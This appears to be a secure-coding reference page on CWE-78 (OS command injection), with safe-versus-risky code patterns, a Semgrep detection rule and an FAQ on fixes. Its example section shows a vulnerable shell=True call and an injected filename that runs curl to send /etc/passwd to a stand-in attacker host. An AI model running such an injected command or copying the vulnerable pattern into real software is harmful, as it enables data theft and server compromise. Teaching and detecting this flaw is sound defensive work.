CWE-78 is Improper Neutralization of Special Elements used in an OS Command — commonly called OS Command Injection or shell injection. It is one of the most dangerous vulnerability classes: exploitation can grant an attacker arbitrary command execution on the server.
CWE-78 occurs when an application constructs an OS command that includes user-controlled input without adequately separating the command from data. When the shell interprets the combined string, an attacker can inject additional commands using metacharacters such as ;, &&, |, $(), and backticks.
The official CWE entry is maintained by MITRE at cwe.mitre.org/data/definitions/78.html.
| Risky pattern | Safe pattern | Why |
|---|---|---|
| subprocess.run(cmd, shell=True) | subprocess.run(["cmd", arg], shell=False) | Argument list bypasses shell interpretation |
| os.system("ls " + user_input) | subprocess.run(["ls", user_input]) | No shell string concatenation |
| exec(`convert ${input}`) | execFile("convert", [input]) | execFile never invokes a shell |
| system("ls " + user_input) | execv("/bin/ls", args) | execv bypasses shell entirely |
Semgrep rule for Python subprocess command injection:
rules:
- id: subprocess-shell-true
patterns:
- pattern: subprocess.$FUNC(..., shell=True, ...)
- pattern-not: subprocess.$FUNC([...], shell=True, ...)
message: User input may reach subprocess with shell=True (CWE-78)
severity: ERROR
languages: [python]Browse available rules at semgrep.dev/r?q=command-injection.
An attacker sends a crafted input that contains shell metacharacters. For example, if a web application passes a filename parameter directly to a shell command:
# Vulnerable application passes filename to shell
subprocess.run(f"convert {filename} output.pdf", shell=True)
# Attacker sends: filename = "x.pdf; curl attacker.com/exfil?d=$(cat /etc/passwd)"
# Shell executes: convert x.pdf; curl attacker.com/exfil?d=$(cat /etc/passwd) output.pdfWhat is CWE-78?
CWE-78 is Improper Neutralization of Special Elements used in an OS Command. It is the official CWE identifier for OS Command Injection vulnerabilities.
How dangerous is CWE-78?
Critical. Successful exploitation grants arbitrary OS command execution with application-level privileges, enabling data theft, reverse shells, and lateral movement.
What is the CVSS base score for CWE-78?
CVSS scores vary by instance, but CWE-78 vulnerabilities are typically scored 9.8 (Critical) when the attack requires no authentication and exploits network-accessible input.
How do you fix CWE-78?
Avoid shell=True in Python, use execFile instead of exec in Node.js, use execv instead of system() in C, and never build shell command strings from user-controlled data. Validate user input against an allowlist.
Can Semgrep detect CWE-78?
Yes. Semgrep rules can trace taint flows from HTTP parameters to subprocess.run(shell=True), os.system(), exec(), and system(). See semgrep.dev for available rules.
What is the difference between CWE-77 and CWE-78?
CWE-77 is command injection in any command language. CWE-78 is specifically OS Command Injection — the command string is passed to the operating system shell.
For language-specific examples across Python, C, Node.js, and Go — plus real-world case studies from Orbis AppSec — see the full command injection hub.